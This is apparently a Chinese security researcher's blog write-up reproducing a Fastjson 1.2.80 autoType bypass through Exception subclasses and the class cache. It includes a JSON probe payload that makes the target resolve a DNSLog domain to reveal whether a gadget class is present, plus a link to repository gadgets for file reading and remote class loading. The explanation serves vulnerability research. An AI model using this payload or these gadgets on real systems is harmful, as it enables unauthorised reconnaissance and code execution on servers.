Fastjson于5月23日,在commit 560782ccommit 097bff1中更新了security_update_20220523的修复方案。调整黑白名单的同时额外判断了Exception,并在添加类缓存mappings前新增了autoTypeSupport的判断。

显而易见Exception的派生类中出了叛徒,不久后fastjson-blacklist更新了黑名单类名,直到前几天漏洞作者iSafeBlue公开了思路与Gadgets,本文是对浅蓝师傅议题中留下的一点小作业的复现记录。

期望类与类缓存

不太了解的同学可以参考上一篇《Fastjson-autoType漏洞总结》,1.2.80第一步依然是基于众所周知的期望类机制将其它类加入类缓存,关键在于怎么横向出Exception之外的其它类型。

Fastjson反序列化恢复类实例时,自然也需要恢复用到了的类属性。如果这个属性是可利用的类且我们可控,是不是就能直接利用 或者进一步横向扩展出其它类间接利用。上一篇我们说到了期望类不但可以由JSON显式指定,同样可以由类间关系隐式确定,那么依靠属性名赋值时的隐式类间关系,也就不再需要在JSON中显式指定@type,从而绕过了autoType的白名单检查。

实例化类属性的对应类后,fastjson会将其加入到类缓存mappings中,从缓存中取类在修复前不会判断autoTypeSupport,所以绕过了类白名单机制扩展出更多的可用类。

利用流程

  1. 指定显式期望类,实例化XXXException并被加入类缓存

  2. 通过XXXException中可控的属性名/参数名,由隐式类间关系实例化并被加入类缓存

  3. 直接从缓存中拿出来用,或者进一步递归让其它类被加入到缓存

第二步的重点在于,既然不能显示指定期望类,就只能依靠deserializer去自动处理,我们需要构造出让它解析时进到特定deserializer分支的特定格式。对此我提供一个aspectj读文件和groovy远程类加载的具体实现便于师傅们理解复现。更多Gadgets浅蓝师傅在Slides中写得很清楚了,可以自行构造。

https://github.com/hosch3n/FastjsonVulns

两点小坑

再提醒两点小坑,一是如果DNSLog是用p师傅的CoNote,存在下划线时是不会被记录到的(这个问题让我自闭了一阵

经继续测试和p师傅提醒,如果链路上的DNS服务器缓存或不接受特殊字符,可能导致DNSLog记录丢失

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"@type":"java.net.Inet4Address",
"val":{
"@type":"java.lang.String"{
"@type":"java.util.Locale",
"val":{
"@type":"com.alibaba.fastjson.JSONObject",{
"@type":"java.lang.String"
"@type":"java.util.Locale",
"country":"g.token.dnslog.pw",
"language":{
"@type":"java.lang.String"{
"x":{
"@type":"java.lang.Class",
"val":"org.python.antlr.ParseException"
}
}
}
}
}

二是目前测试来看只有MacOS可以ping带花括号的域名,Linux和Windows会报错。所以这个探测链的Poc需要要合适的报错环境才能看到结果。